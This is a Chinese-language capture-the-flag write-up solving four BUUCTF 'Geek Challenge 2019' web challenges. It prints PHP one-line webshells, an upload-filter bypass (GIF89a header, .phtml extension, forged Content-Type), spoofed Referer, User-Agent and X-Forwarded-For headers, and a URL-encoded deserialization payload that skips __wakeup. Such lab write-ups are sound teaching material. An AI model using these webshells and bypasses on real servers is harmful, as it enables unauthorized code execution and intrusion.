目录
[极客大挑战 2019]Knife
[极客大挑战 2019]Http
[极客大挑战 2019]Upload
??
[极客大挑战 2019]PHP
[极客大挑战 2019]Knife

eval($_POST["Syc"]);
这是一个典型的后门程序,用蚁剑链接复制url,密码则是页面中给的密码Syc。

在根目录下找到flag文件,得出flag。
?
[极客大挑战 2019]Http
打开页面后查看源代码,发现一个php文件

打开链接node4.buuoj.cn:25883/Secret.php,给出了提示,说它不是来自https://Sycsecret.buuoj.cn这个页面,所以要对referer进行修改。

?使用burp对这个页面抓包,然后加上
referer: https://Sycsecret.buuoj.cn

send
?
意思就是说需要用Syclover浏览器,也就是需要改消息头的User-Agent参数?,将Mozilla改为Syclover就行了。

send,又出现了新的提示
?
意思是只能本地访问,所以加上
X-Forwarded-For: 127.0.0.1
?找到flag

[极客大挑战 2019]Upload
?
这道题是文件上传,先上传一个文件试一试,发现说不是图片
?
?所以使用burp抓包,对Content-Type进行修改为imaeg/gif,出现了提示

phtml文件
????????在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。
将后缀修改为phtml

出现了新的提示
?
?
html实体字符
? ? ? ? HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。
? ? ? ? 字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:< 或者 <。
? ? ? ? < ?代表:<,? ?代表:?
也就是说上传文件里不能包含:" <? "? ? ?
所以用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['cmd']);</script>
send而后出现提示,就是说这不是图片

?所以,在文件前面加文件头:GIF89a,php会检测其为gif图片。使用getimagesize函数无法判断其图片是无效的。成功上传一句话木马,然后使用蚁剑链接,而上传文件一般都在upload 目录下。
所以url:http://1992c45f-fa67-4b72-9b9a-4e2ed19764a5.node4.buuoj.cn:81/upload/1.phtml
密码则是:cmd
在根目录下找到flag
?
[极客大挑战 2019]PHP
?打开页面

?备份引起了我的注意,尝试使用www.zip为后缀,得到一个压缩包。

?里面有以flag为名的文件,但是提交后是错误的
看一下index,发现了一段php代码,是反序列化
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
?而class.php却更加复杂
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
?
分析代码应该是要求我们username=admin,password=100时得到flag 但是wakeup方法会导致username成为guest,当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行,因此需要通过序列化字符串中对象的个数来绕过该方法。
所以
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo serialize($a);
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//Name后面的2在链接中要改成3
?>
?
?加上后缀
?/index.phpselect=O%3A4%3A%22Name%22%3A3%3A{s%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B}
得出flag
 ?
?
|